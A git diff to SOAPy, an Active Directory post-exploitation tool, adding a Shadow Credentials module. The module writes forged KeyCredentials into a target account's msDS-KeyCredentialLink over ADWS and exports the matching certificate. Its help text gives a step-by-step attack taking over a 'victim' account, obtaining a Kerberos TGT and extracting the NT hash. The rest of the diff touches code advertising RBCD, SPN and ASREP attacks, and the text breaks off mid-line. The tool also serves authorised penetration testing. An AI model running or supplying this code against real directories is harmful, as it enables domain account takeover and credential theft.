diff --git a/README.md b/README.md index f072b23..1f7618e 100644 --- a/README.md +++ b/README.md @@ -15,11 +15,11 @@ The blog detailing the original research largely from an engineering perspective ███████╗██║ ██║███████║██████╔╝ ╚████╔╝ ╚════██║██║ ██║██╔══██║██╔═══╝ ╚██╔╝ ███████║╚██████╔╝██║ ██║██║ ██║ -╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ +╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ @_logangoins -github.com/jlevere - +github.com/jlevere + usage: soapy [-h] [--debug] [--ts] [-H nthash] [--users] [--computers] [--groups] [--constrained] [--unconstrained] [--spns] [--asreproastable] [--admins] [--rbcds] [-q query] @@ -27,10 +27,13 @@ usage: soapy [-h] [--debug] [--ts] [-H nthash] [--users] [--computers] [--spn value] [--asrep] [--account account] [--remove] [--addcomputer [MACHINE]] [--computer-pass pass] [--ou ou] [--delete-computer MACHINE] [--disable-account MACHINE] - [--dns-add FQDN] [--dns-modify FQDN] [--dns-remove FQDN] - [--dns-tombstone FQDN] [--dns-resurrect FQDN] [--dns-ip IP] - [--ldapdelete] [--allow-multiple] [--ttl TTL] [--tcp] - connection + [--shadow-creds ACTION] [--shadow-target TARGET] [--device-id ID] + [--cert-filename NAME] [--cert-export TYPE] + [--cert-password PASS] [--shadow-creds-help] [--dns-add FQDN] + [--dns-modify FQDN] [--dns-remove FQDN] [--dns-tombstone FQDN] + [--dns-resurrect FQDN] [--dns-ip IP] [--ldapdelete] + [--allow-multiple] [--ttl TTL] [--tcp] + [connection] Perform AD reconnaissance and post-exploitation through ADWS from Linux @@ -71,28 +74,37 @@ Writing: --account account Account to perform operations on --remove Remove attribute value based on operation --addcomputer [MACHINE] - Create a computer account in AD (optional MACHINE - name) - --computer-pass pass Password for the new computer account (optional). - --ou ou DN of the OU where to create the computer (optional). + Create a computer account in AD + --computer-pass pass Password for the new computer account + --ou ou DN of the OU where to create the computer --delete-computer MACHINE Delete an existing computer account --disable-account MACHINE - Disable a computer account (set AccountDisabled) + Disable a computer account --dns-add FQDN Add A record (FQDN). Requires --dns-ip --dns-modify FQDN Modify/replace A record (FQDN). Requires --dns-ip --dns-remove FQDN Remove A record (FQDN). Requires --dns-ip unless --ldapdelete - --dns-tombstone FQDN Tombstone a dnsNode (replace with TS record + set - dNSTombstoned=true) + --dns-tombstone FQDN Tombstone a dnsNode --dns-resurrect FQDN Resurrect a tombstoned dnsNode --dns-ip IP IP used with dns add/modify/remove - --ldapdelete Use delete on dnsNode object (when used with --dns- - remove) + --ldapdelete Use delete on dnsNode object --allow-multiple Allow multiple A records when adding --ttl TTL TTL for new A record (default 180) --tcp Use DNS over TCP when fetching SOA serial +Shadow Credentials (msDS-KeyCredentialLink): + --shadow-creds ACTION + Shadow Credentials action: list, add, remove, clear, + info + --shadow-target TARGET + Target account for Shadow Credentials operation + --device-id ID Device ID for remove/info actions + --cert-filename NAME Filename for certificate export (add action) + --cert-export TYPE Export type: PEM or PFX (default: PFX) + --cert-password PASS Password for PFX file (random if not set) + --shadow-creds-help Display detailed Shadow Credentials help and examples + ``` # Installation diff --git a/src/shadow_credentials.py b/src/shadow_credentials.py new file mode 100755 index 0000000..5a9f8cf --- /dev/null +++ b/src/shadow_credentials.py @@ -0,0 +1,628 @@ +#!/usr/bin/env python3 +""" +shadow_credentials.py + +Shadow Credentials (msDS-KeyCredentialLink) management via ADWS for SOAPy. +This module provides functionality similar to pyWhisker but operates over ADWS +instead of direct LDAP connections. + +Supports: + - list: List all KeyCredentials for a target + - add: Add a new KeyCredential (generates certificate) + - remove: Remove a specific KeyCredential by DeviceID + - clear: Remove all KeyCredentials from target + - info: Show detailed info about a specific KeyCredential + +Requirements: + - dsinternals (pip install dsinternals) + - cryptography +""" + +import random +import string +import logging +from base64 import b64decode, b64encode +from typing import Optional, List, Tuple +from uuid import uuid4 + +# DSInternals for KeyCredential handling +try: + from dsinternals.common.data.DNWithBinary import DNWithBinary + from dsinternals.common.data.hello.KeyCredential import KeyCredential + from dsinternals.system.Guid import Guid + from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 + from dsinternals.system.DateTime import DateTime + DSINTERNALS_AVAILABLE = True +except ImportError: + DSINTERNALS_AVAILABLE = False + logging.warning("dsinternals not available. Install with: pip install dsinternals") + +# Cryptography for PFX export +try: + from cryptography import x509 + from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates + from cryptography.hazmat.primitives.serialization import BestAvailableEncryption, NoEncryption, load_pem_private_key + from cryptography.hazmat.backends import default_backend + CRYPTOGRAPHY_AVAILABLE = True +except ImportError: + CRYPTOGRAPHY_AVAILABLE = False + + +from src.adws import ADWSConnect, NTLMAuth +from src.soap_templates import NAMESPACES + + +# ============================================================================ +# HELP TEXT - Displayed with --shadow-creds-help +# ============================================================================ + +SHADOW_CREDS_HELP = """ +================================================================================ + SHADOW CREDENTIALS VIA ADWS - HELP +================================================================================ + +This feature allows manipulation of the msDS-KeyCredentialLink attribute +(Shadow Credentials) via ADWS, similar to pyWhisker but over port 9389. + +PREREQUISITES +------------- + - Python: pip install dsinternals cryptography + - AD: Domain Functional Level Windows Server 2016+ + - AD: DC must have certificate configured (AD CS / PKI) + - Permissions: Write access to target's msDS-KeyCredentialLink attribute + +USAGE +----- + List KeyCredentials: + soapy domain/user:'pass'@dc --shadow-creds list --shadow-target victim + + Add KeyCredential (generates certificate): + soapy domain/user:'pass'@dc --shadow-creds add --shadow-target victim + soapy domain/user:'pass'@dc --shadow-creds add --shadow-target victim --cert-export PEM + soapy domain/user:'pass'@dc --shadow-creds add --shadow-target victim --cert-password MyPass123 + soapy domain/user:'pass'@dc --shadow-creds add --shadow-target victim --cert-filename mycert + + Remove specific KeyCredential: + soapy domain/user:'pass'@dc --shadow-creds remove --shadow-target victim --device-id + + Clear all KeyCredentials: + soapy domain/user:'pass'@dc --shadow-creds clear --shadow-target victim + + Show KeyCredential info: + soapy domain/user:'pass'@dc --shadow-creds info --shadow-target victim --device-id + +OPTIONS +------- + --shadow-creds ACTION Action: list, add, remove, clear, info + --shadow-target TARGET Target account (sAMAccountName) + --device-id ID DeviceID (required for remove/info) + --cert-filename NAME Output filename (random if not set) + --cert-export TYPE PEM or PFX (default: PFX) + --cert-password PASS PFX password (random if not set) + +POST-EXPLOITATION +----------------- + After adding a KeyCredential, use PKINITtools to get a TGT: + + # With PFX: + python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass domain/user user.ccache + + # With PEM: + python3 gettgtpkinit.py -cert-pem cert_cert.pem -key-pem cert_priv.pem domain/user user.ccache + + # Get NT hash: + python3 getnthash.py -key domain/user + +FULL ATTACK EXAMPLE +------------------- + # 1. List existing KeyCredentials + soapy lab.local/attacker:'P@ss'@10.0.0.1 --shadow-creds list --shadow-target victim + + # 2. Add new KeyCredential + soapy lab.local/attacker:'P@ss'@10.0.0.1 --shadow-creds add --shadow-target victim + + # 3. Get TGT + python3 gettgtpkinit.py -cert-pfx .pfx -pfx-pass lab.local/victim victim.ccache + + # 4. Get NT hash + export KRB5CCNAME=victim.ccache + python3 getnthash.py -key lab.local/victim + + # 5. Cleanup + soapy lab.local/attacker:'P@ss'@10.0.0.1 --shadow-creds clear --shadow-target victim + +COMMON ERRORS +------------- + KDC_ERR_PADATA_TYPE_NOSUPP -> DC has no certificate (need AD CS/PKI) + dsinternals not available -> pip install dsinternals + Insufficient rights -> Check ACLs with BloodHound + +REFERENCES +---------- + - https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab + - https://github.com/ShutdownRepo/pywhisker + - https://github.com/dirkjanm/PKINITtools + +================================================================================ +""" + + +def print_shadow_creds_help(): + """Print the Shadow Credentials help message.""" + print(SHADOW_CREDS_HELP) + + +def check_dependencies(): + """Check if required dependencies are available.""" + if not DSINTERNALS_AVAILABLE: + raise ImportError( + "dsinternals is required for Shadow Credentials operations. " + "Install with: pip install dsinternals" + ) + + +def export_pfx(pem_cert_file: str, pem_key_file: str, pfx_password: Optional[str], out_file: str): + """ + Export PEM certificate and key to PFX format. + + Args: + pem_cert_file: Path to PEM certificate file + pem_key_file: Path to PEM private key file + pfx_password: Password for the PFX file (None for no password) + out_file: Output PFX file path + """ + if not CRYPTOGRAPHY_AVAILABLE: + raise ImportError("cryptography library required for PFX export") + + with open(pem_cert_file, 'rb') as f: + pem_cert_data = f.read() + with open(pem_key_file, 'rb') as f: + pem_key_data = f.read() + + cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend()) + key_obj = load_pem_private_key(pem_key_data, password=None, backend=default_backend()) + + if pfx_password is None: + encryption_algo = NoEncryption() + else: + encryption_algo = BestAvailableEncryption(pfx_password.encode('utf-8')) + + pfx_data = serialize_key_and_certificates( + name=b"ShadowCredentialCert", + key=key_obj, + cert=cert_obj, + cas=None, + encryption_algorithm=encryption_algo + ) + + with open(out_file, 'wb') as f: + f.write(pfx_data) + + +class ShadowCredentialsADWS: + """ + Shadow Credentials management via ADWS. + + This class provides methods to manipulate the msDS-KeyCredentialLink + attribute of AD objects using ADWS (Active Directory Web Services). + """ + + def __init__( + self, + ip: str, + domain: str, + username: str, + auth: NTLMAuth, + target_samname: str, + ): + """ + Initialize Shadow Credentials manager. + + Args: + ip: IP address of the domain controller + domain: Domain name (FQDN) + username: Username for authentication + auth: NTLMAuth object with credentials + target_samname: SAM account name of the target object + """ + check_dependencies() + + self.ip = ip + self.domain = domain + self.username = username + self.auth = auth + self.target_samname = target_samname + self.target_dn: Optional[str] = None + + def _get_target_dn(self) -> str: + """Get the distinguished name of the target account.""" + if self.target_dn: + return self.target_dn + + # Query for the target account + query = f"(sAMAccountName={self.target_samname})" + pull_client = ADWSConnect.pull_client(self.ip, self.domain, self.username, self.auth) + + et = pull_client.pull( + query=query, + basedn=None, + attributes=["distinguishedName"] + ) + + # Search in both user and computer objects + for tag in [".//addata:user", ".//addata:computer"]: + for item in et.findall(tag, namespaces=NAMESPACES): + dn_elem = item.find(".//addata:distinguishedName/ad:value", namespaces=NAMESPACES) + if dn_elem is not None and dn_elem.text: + self.target_dn = dn_elem.text + return self.target_dn + + raise RuntimeError(f"Target account '{self.target_samname}' not found in AD") + + def _get_keycredentials(self) -> Tuple[str, List[bytes]]: + """ + Get current KeyCredentials from the target. + + Returns: + Tuple of (target_dn, list of raw KeyCredential values) + """ + target_dn = self._get_target_dn() + + query = f"(distinguishedName={target_dn})" + pull_client = ADWSConnect.pull_client(self.ip, self.domain, self.username, self.auth) + + et = pull_client.pull( + query=query, + basedn=target_dn, + attributes=["msDS-KeyCredentialLink", "distinguishedName"] + ) + + raw_credentials = [] + + # Find KeyCredentialLink values + for value_elem in et.findall(".//addata:msDS-KeyCredentialLink/ad:value", namespaces=NAMESPACES): + if value_elem is not None and value_elem.text: + try: + raw_credentials.append(value_elem.text.encode('utf-8')) + except Exception: + pass + + return target_dn, raw_credentials + + def list(self) -> List[dict]: + """ + List all KeyCredentials for the target. + + Returns: + List of dicts with DeviceId and CreationTime + """ + print(f"[*] Searching for target account: {self.target_samname}") + + try: + target_dn, raw_credentials = self._get_keycredentials() + print(f"[+] Target found: {target_dn}") + except Exception as e: + print(f"[-] Error: {e}") + return [] + + if not raw_credentials: + print("[*] No KeyCredentials found (attribute is empty or no read permissions)") + return [] + + results = [] + print(f"[*] Listing KeyCredentials for {self.target_samname}:") + + for raw_value in raw_credentials: + try: + kc = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value)) + device_id = kc.DeviceId.toFormatD() if kc.DeviceId else "N/A" + creation_time = str(kc.CreationTime) if kc.CreationTime else "N/A" + + print(f" DeviceID: {device_id} | Creation Time (UTC): {creation_time}") + results.append({ + "DeviceId": device_id, + "CreationTime": creation_time + }) + except Exception as e: + print(f" [!] Failed to parse KeyCredential: {e}") + + return results + + def info(self, device_id: str) -> Optional[dict]: + """ + Show detailed info about a specific KeyCredential. + + Args: + device_id: The DeviceID of the KeyCredential to inspect + + Returns: + Dict with KeyCredential details or None if not found + """ + print(f"[*] Searching for target account: {self.target_samname}") + + try: + target_dn, raw_credentials = self._get_keycredentials() + print(f"[+] Target found: {target_dn}") + except Exception as e: + print(f"[-] Error: {e}") + return None + + for raw_value in raw_credentials: + try: + kc = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value)) + if kc.DeviceId and kc.DeviceId.toFormatD() == device_id: + print(f"[+] Found KeyCredential with DeviceID: {device_id}") + kc.show() + return kc.toDict() if hasattr(kc, 'toDict') else {"DeviceId": device_id} + except Exception as e: + continue + + print(f"[-] No KeyCredential found with DeviceID: {device_id}") + return None + + def add( + self, + filename: Optional[str] = None, + export_type: str = "PFX", + pfx_password: Optional[str] = None, + ) -> bool: + """ + Add a new KeyCredential to the target. + + Args: + filename: Base filename for certificate output (random if None) + export_type: "PEM" or "PFX" + pfx_password: Password for PFX file (random if None) + + Returns: + True if successful + """ + print(f"[*] Searching for target account: {self.target_samname}") + + try: + target_dn = self._get_target_dn() + print(f"[+] Target found: {target_dn}") + except Exception as e: + print(f"[-] Error finding target: {e}") + return False + + # Generate certificate + print("[*] Generating certificate...") + certificate = X509Certificate2( + subject=self.target_samname, + keySize=2048, + notBefore=(-40*365), + notAfter=(40*365) + ) + print("[+] Certificate generated") + + # Generate KeyCredential + print("[*] Generating KeyCredential...") + key_credential = KeyCredential.fromX509Certificate2( + certificate=certificate, + deviceId=Guid(), + owner=target_dn, + currentTime=DateTime() + ) + device_id = key_credential.DeviceId.toFormatD() + print(f"[+] KeyCredential generated with DeviceID: {device_id}") + + # Get current KeyCredentials + _, raw_credentials = self._get_keycredentials() + + # Add new KeyCredential + new_kc_value = key_credential.toDNWithBinary().toString() + + # Use ADWS Put to update the attribute + print(f"[*] Updating msDS-KeyCredentialLink attribute...") + + put_client = ADWSConnect.put_client(self.ip, self.domain, self.username, self.auth) + + try: + put_client.put( + object_ref=target_dn, + operation="add", + attribute="addata:msDS-KeyCredentialLink", + data_type="string", + value=new_kc_value, + ) + print("[+] Successfully updated msDS-KeyCredentialLink") + except Exception as e: + print(f"[-] Failed to update attribute: {e}") + return False + + # Export certificate + if filename is None: + filename = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + print(f"[*] No filename provided, using: {filename}") + + if export_type.upper() == "PEM": + certificate.ExportPEM(path_to_files=filename) + print(f"[+] Saved PEM certificate: {filename}_cert.pem") + print(f"[+] Saved PEM private key: {filename}_priv.pem") + print(f"\n[*] To obtain a TGT, run:") + print(f" python3 gettgtpkinit.py -cert-pem {filename}_cert.pem -key-pem {filename}_priv.pem {self.domain}/{self.target_samname} {filename}.ccache") + + elif export_type.upper() == "PFX": + if pfx_password is None: + pfx_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(20)) + print(f"[*] No password provided, using: {pfx_password}") + + # Export to PEM first, then convert to PFX + certificate.ExportPEM(path_to_files=filename) + pem_cert_file = f"{filename}_cert.pem" + pem_key_file = f"{filename}_priv.pem" + pfx_file = f"{filename}.pfx" + + export_pfx(pem_cert_file, pem_key_file, pfx_password, pfx_file) + + print(f"[+] Saved PFX certificate: {pfx_file}") + print(f"[+] PFX password: {pfx_password}") + print(f"\n[*] To obtain a TGT, run:") + print(f" python3 gettgtpkinit.py -cert-pfx {pfx_file} -pfx-pass {pfx_password} {self.domain}/{self.target_samname} {filename}.ccache") + + return True + + def remove(self, device_id: str) -> bool: + """ + Remove a specific KeyCredential by DeviceID. + + Args: + device_id: The DeviceID of the KeyCredential to remove + + Returns: + True if successful + """ + print(f"[*] Searching for target account: {self.target_samname}") + + try: + target_dn, raw_credentials = self._get_keycredentials() + print(f"[+] Target found: {target_dn}") + except Exception as e: + print(f"[-] Error: {e}") + return False + + # Find the KeyCredential to remove + kc_to_remove = None + remaining_credentials = [] + + for raw_value in raw_credentials: + try: + kc = KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value)) + if kc.DeviceId and kc.DeviceId.toFormatD() == device_id: + kc_to_remove = raw_value + print(f"[+] Found KeyCredential to remove: {device_id}") + else: + remaining_credentials.append(raw_value) + except Exception: + remaining_credentials.append(raw_value) + + if kc_to_remove is None: + print(f"[-] No KeyCredential found with DeviceID: {device_id}") + return False + + # Remove the KeyCredential using ADWS Put (delete operation) + put_client = ADWSConnect.put_client(self.ip, self.domain, self.username, self.auth) + + try: + put_client.put( + object_ref=target_dn, + operation="delete", + attribute="addata:msDS-KeyCredentialLink", + data_type="string", + value=kc_to_remove.decode('utf-8') if isinstance(kc_to_remove, bytes) else kc_to_remove, + ) + print(f"[+] Successfully removed KeyCredential with DeviceID: {device_id}") + return True + except Exception as e: + print(f"[-] Failed to remove KeyCredential: {e}") + return False + + def clear(self) -> bool: + """ + Remove all KeyCredentials from the target. + + Returns: + True if successful + """ + print(f"[*] Searching for target account: {self.target_samname}") + + try: + target_dn, raw_credentials = self._get_keycredentials() + print(f"[+] Target found: {target_dn}") + except Exception as e: + print(f"[-] Error: {e}") + return False + + if not raw_credentials: + print("[*] msDS-KeyCredentialLink is already empty") + return True + + print(f"[*] Clearing {len(raw_credentials)} KeyCredential(s)...") + + put_client = ADWSConnect.put_client(self.ip, self.domain, self.username, self.auth) + + # Remove each KeyCredential + for raw_value in raw_credentials: + try: + put_client.put( + object_ref=target_dn, + operation="delete", + attribute="addata:msDS-KeyCredentialLink", + data_type="string", + value=raw_value.decode('utf-8') if isinstance(raw_value, bytes) else raw_value, + ) + except Exception as e: + print(f"[!] Warning: Failed to remove one KeyCredential: {e}") + + print("[+] msDS-KeyCredentialLink cleared successfully") + return True + + +# ============================================================================ +# CLI helper functions for integration with soa.py +# ============================================================================ + +def shadow_credentials_list( + target: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, +): + """List KeyCredentials for a target account.""" + sc = ShadowCredentialsADWS(ip, domain, username, auth, target) + sc.list() + + +def shadow_credentials_add( + target: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, + filename: Optional[str] = None, + export_type: str = "PFX", + pfx_password: Optional[str] = None, +): + """Add a KeyCredential to a target account.""" + sc = ShadowCredentialsADWS(ip, domain, username, auth, target) + sc.add(filename=filename, export_type=export_type, pfx_password=pfx_password) + + +def shadow_credentials_remove( + target: str, + device_id: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, +): + """Remove a specific KeyCredential from a target account.""" + sc = ShadowCredentialsADWS(ip, domain, username, auth, target) + sc.remove(device_id) + + +def shadow_credentials_clear( + target: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, +): + """Clear all KeyCredentials from a target account.""" + sc = ShadowCredentialsADWS(ip, domain, username, auth, target) + sc.clear() + + +def shadow_credentials_info( + target: str, + device_id: str, + username: str, + ip: str, + domain: str, + auth: NTLMAuth, +): + """Show info about a specific KeyCredential.""" + sc = ShadowCredentialsADWS(ip, domain, username, auth, target) + sc.info(device_id) \ No newline at end of file diff --git a/src/soa.py b/src/soa.py index 89d108e..3a0ca11 100644 --- a/src/soa.py +++ b/src/soa.py @@ -1,4 +1,22 @@ #!/usr/bin/env python3 +""" +soa.py + +Main CLI entrypoint for SOAPy ADWS operations, extended to support: + - AD-integrated DNS management (add/modify/remove/tombstone/resurrect) + - Computer management (create/delete/disable) + - Shadow Credentials (msDS-KeyCredentialLink) management + - RBCD, SPN, ASREP attacks + +Shadow Credentials options: + --shadow-creds ACTION Shadow Credentials action (list/add/remove/clear/info) + --shadow-target TARGET Target account for Shadow Credentials + --device-id ID Device ID for remove/info actions + --cert-filename NAME Filename for certificate export + --cert-export TYPE Export type: PEM or PFX (default: PFX) + --cert-password PASS Password for PFX file + --shadow-creds-help Display detailed Shadow Credentials help +""" import argparse import logging @@ -33,14 +51,34 @@ resurrect_dns_record_adws, ) -# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L180 +# Shadow Credentials helpers +try: + from src.shadow_credentials import ( + ShadowCredentialsADWS, + shadow_credentials_list, + shadow_credentials_add, + shadow_credentials_remove, + shadow_credentials_clear, + shadow_credentials_info, + print_shadow_creds_help, + DSINTERNALS_AVAILABLE, + ) + SHADOW_CREDS_AVAILABLE = DSINTERNALS_AVAILABLE +except ImportError: + SHADOW_CREDS_AVAILABLE = False + def print_shadow_creds_help(): + print("Shadow Credentials module not available. Install dsinternals: pip install dsinternals") + +# --------------------------------------------------------------------------- +# Utility helpers +# --------------------------------------------------------------------------- + def _create_empty_sd(): sd = SR_SECURITY_DESCRIPTOR() sd["Revision"] = b"\x01" sd["Sbz1"] = b"\x00" sd["Control"] = 32772 sd["OwnerSid"] = LDAP_SID() - # BUILTIN\Administrators sd["OwnerSid"].fromCanonical("S-1-5-32-544") sd["GroupSid"] = b"" sd["Sacl"] = b"" @@ -53,14 +91,13 @@ def _create_empty_sd(): return sd -# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/rbcd.py#L200 def _create_allow_ace(sid: LDAP_SID): nace = ACE() nace["AceType"] = ACCESS_ALLOWED_ACE.ACE_TYPE nace["AceFlags"] = 0x00 acedata = ACCESS_ALLOWED_ACE() acedata["Mask"] = ACCESS_MASK() - acedata["Mask"]["Mask"] = 983551 # Full control + acedata["Mask"]["Mask"] = 983551 acedata["Sid"] = sid.getData() nace["Ace"] = acedata return nace @@ -77,7 +114,6 @@ def getAccountDN(target: str, username: str, ip: str, domain: str, auth: NTLMAut distinguishedName_elem = None - # Look for user first, then computer (same order used in other scripts) for tag in [".//addata:user", ".//addata:computer"]: for item in pull_et.findall(tag, namespaces=NAMESPACES): distinguishedName_elem = item.find( @@ -95,9 +131,7 @@ def getAccountDN(target: str, username: str, ip: str, domain: str, auth: NTLMAut from xml.etree import ElementTree as ET -from uuid import uuid4 from src.adws import ADWSConnect, ADWSError -from src.soap_templates import LDAP_DELETE_FOR_RESOURCE def delete_computer( machine_name: str, @@ -106,27 +140,14 @@ def delete_computer( domain: str, auth: NTLMAuth ) -> bool: - """ - Delete an AD computer object using ADWS WS-Transfer Delete. - - Improved error handling: catches ADWS faults and prints a concise English - message for common cases (insufficient rights, validation errors, ...). - """ + """Delete an AD computer object using ADWS WS-Transfer Delete.""" print(f"[*] Attempting to delete computer: {machine_name}") - # Normalize SAM sam = machine_name if machine_name.endswith("$") else machine_name + "$" - # ---- Locate DN of the computer ---- print("[*] Locating computer in AD...") try: - dn = getAccountDN( - target=sam, - username=username, - ip=ip, - domain=domain, - auth=auth - ) + dn = getAccountDN(target=sam, username=username, ip=ip, domain=domain, auth=auth) except Exception as e: print(f"[-] Failed to locate machine {sam}: {e}") return False @@ -137,16 +158,9 @@ def delete_computer( print(f"[+] Found DN: {dn}") - # ---- Build WS-Transfer Delete request ---- msg_id = f"urn:uuid:{uuid4()}" + delete_payload = LDAP_DELETE_FOR_RESOURCE.format(object_dn=dn, fqdn=ip, uuid=msg_id) - delete_payload = LDAP_DELETE_FOR_RESOURCE.format( - object_dn=dn, - fqdn=ip, - uuid=msg_id - ) - - # ---- Send request ---- print("[*] Connecting to ADWS Resource endpoint to delete object...") client = ADWSConnect(ip, domain, username, auth, "Resource") @@ -157,11 +171,9 @@ def delete_computer( print(f"[-] Transport error when sending Delete request: {e}") return False - # Try to parse the response safely and produce a concise English message on failure try: et = client._handle_str_to_xml(response) except ADWSError: - # Extract useful info from raw SOAP Fault and show a short message s = response if isinstance(response, str) else response.decode(errors="ignore") start = s.find('<') if start != -1: @@ -169,72 +181,30 @@ def delete_computer( try: root = ET.fromstring(s) ns = {'ad': 'http://schemas.microsoft.com/2008/1/ActiveDirectory'} - win32_elem = root.find('.//ad:Win32ErrorCode', namespaces=ns) - errcode_elem = root.find('.//ad:ErrorCode', namespaces=ns) msg_elem = root.find('.//ad:Message', namespaces=ns) - ext_elem = root.find('.//ad:ExtendedErrorMessage', namespaces=ns) - - win32 = win32_elem.text.strip() if win32_elem is not None and win32_elem.text else None - errcode = errcode_elem.text.strip() if errcode_elem is not None and errcode_elem.text else None msg = msg_elem.text.strip() if msg_elem is not None and msg_elem.text else None - ext = ext_elem.text.strip() if ext_elem is not None and ext_elem.text else None - - # Map to short, user-friendly messages - if win32 == '5' or errcode == '50' or (msg and 'insufficient access' in msg.lower()): - print("! Insufficient access rights to perform the operation.") - elif msg: - short = msg.splitlines()[0] - print(f"! AD error: {short}") - if ext: - print(f" Details: {ext}") + if msg: + print(f"! AD error: {msg.splitlines()[0]}") else: - print("! ADWS operation failed (see server response for details).") + print("! ADWS operation failed.") except Exception: - # If parsing fails, fallback to a single-line message - print("! ADWS operation failed and the fault could not be parsed.") + print("! ADWS operation failed.") return False - # If parsing succeeded but returned no XML object if et is None: - print("[-] Empty or malformed DeleteResponse (AD may still have removed the object).") + print("[-] Empty or malformed DeleteResponse.") return False - # Check for explicit SOAP Fault even when _handle_str_to_xml did not raise fault = et.find(".//{http://www.w3.org/2003/05/soap-envelope}Fault") if fault is not None: - # try the same concise extraction as above - try: - ns = {'ad': 'http://schemas.microsoft.com/2008/1/ActiveDirectory'} - win32_elem = et.find('.//ad:Win32ErrorCode', namespaces=ns) - errcode_elem = et.find('.//ad:ErrorCode', namespaces=ns) - msg_elem = et.find('.//ad:Message', namespaces=ns) - ext_elem = et.find('.//ad:ExtendedErrorMessage', namespaces=ns) - - win32 = win32_elem.text.strip() if win32_elem is not None and win32_elem.text else None - errcode = errcode_elem.text.strip() if errcode_elem is not None and errcode_elem.text else None - msg = msg_elem.text.strip() if msg_elem is not None and msg_elem.text else None - ext = ext_elem.text.strip() if ext_elem is not None and ext_elem.text else None - - if win32 == '5' or errcode == '50' or (msg and 'insufficient access' in msg.lower()): - print("! Insufficient access rights to perform the operation.") - elif msg: - short = msg.splitlines()[0] - print(f"! AD error: {short}") - if ext: - print(f" Details: {ext}") - else: - print("! ADWS operation failed (server returned a SOAP Fault).") - except Exception: - print("! ADWS operation failed (SOAP Fault present).") + print("! ADWS operation failed (SOAP Fault present).") return False - # Success print(f"[+] Computer {sam} successfully deleted.") return True def encode_unicode_pwd(password: str) -> str: - # AD requires: password in quotes, UTF-16LE encoded, base64 encoded quoted = f'"{password}"' pwd_utf16 = quoted.encode('utf-16-le') return base64.b64encode(pwd_utf16).decode() @@ -252,27 +222,21 @@ def add_computer( computer_pass: str = None, spn_list: list = None, ) -> bool: - """ - Create a computer object in AD via ADWS ResourceFactory (WS-Transfer Create) - and optionally set unicodePwd and SPNs via Put operations. - """ + """Create a computer object in AD via ADWS ResourceFactory.""" if remove: raise NotImplementedError("Removal logic is not implemented.") - # If no machine_name given by user, generate a secure name import secrets if machine_name is None: machine_name = 'DESKTOP-' + (''.join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(8))) - print(f"[+] Using machine ame: {machine_name}") + print(f"[+] Using machine name: {machine_name}") - # Normalize names sam = machine_name if machine_name.endswith("$") else machine_name + "$" cn = machine_name host = cn.rstrip("$") - # Find DN container if ou_dn: container_dn = ou_dn else: @@ -280,10 +244,8 @@ def add_computer( domain_dn = ",".join(domain_parts) container_dn = f"CN=Computers,{domain_dn}" - logging.info(f"Creating computer account {sam} in {container_dn} via ADWS ResourceFactory") + logging.info(f"[+] Creating computer account {sam} in {container_dn} via ADWS ResourceFactory") - # ---- Build AttributeTypeAndValue XML blocks ---- - # If no password given by user, generate a secure 16-character password import secrets if computer_pass is None: @@ -294,7 +256,6 @@ def add_computer( encoded_pass = encode_unicode_pwd(computer_pass) - # Default SPNs like Powermad / Impacket default_spns = [ f"HOST/{host}", f"HOST/{host}.{domain}", @@ -309,7 +270,7 @@ def add_computer( "ad:container-hierarchy-parent": [container_dn], "ad:relativeDistinguishedName": [f"CN={cn}"], "addata:sAMAccountName": [sam], - "addata:userAccountControl": ["4096"], # WORKSTATION_TRUST_ACCOUNT (0x1000) + "addata:userAccountControl": ["4096"], "addata:dnsHostName": [f"{host}.{domain}"], "addata:servicePrincipalName": spns, "addata:unicodePwd": [encoded_pass], @@ -320,10 +281,8 @@ def add_computer( values_xml = "" for v in values: if attr_type == "addata:unicodePwd": - # unicodePwd must be sent as base64Binary in ADWS SOAP values_xml += f'{v}' else: - # SPNs and dnsHostName are strings; multiple SPNs create multiple entries values_xml += f'{v}' atav_xml += ( @@ -333,7 +292,6 @@ def add_computer( " \n" ) - # ---- Build SOAP Envelope ---- msg_id = f"urn:uuid:{uuid4()}" addrequest_payload = LDAP_CREATE_FOR_RESOURCEFACTORY.format( @@ -342,7 +300,6 @@ def add_computer( atav_xml=atav_xml ) - # ---- Send AddRequest ---- client = ADWSConnect(ip, domain, username, auth, "ResourceFactory") client._nmf.send(addrequest_payload) response = client._nmf.recv() @@ -351,13 +308,13 @@ def add_computer( if et is None: raise RuntimeError("AddRequest response empty or malformed.") - logging.info("AddRequest successful. Locating newly created object...") + logging.info("[+] AddRequest successful. Locating newly created object...") dn = getAccountDN(target=sam, username=username, ip=ip, domain=domain, auth=auth) if not dn: raise RuntimeError("Failed to locate DN of the newly created computer.") - logging.info(f"Created object DN: {dn}") + logging.info(f"[+] Created object DN: {dn}") print(f"[+] Computer {sam} successfully created in {dn}") return True @@ -372,7 +329,7 @@ def set_spn( auth: NTLMAuth, remove: bool = False, ): - """Set a value in servicePrincipalName. Appends value to the attribute rather than replacing.""" + """Set a value in servicePrincipalName.""" dn = getAccountDN(target=target, username=username, ip=ip, domain=domain, auth=auth) put_client = ADWSConnect.put_client(ip, domain, username, auth) @@ -396,14 +353,11 @@ def set_asrep( auth: NTLMAuth, remove: bool = False, ): - """Set or clear the DONT_REQ_PREAUTH flag on userAccountControl via ADWS Put (replace).""" + """Set or clear the DONT_REQ_PREAUTH flag on 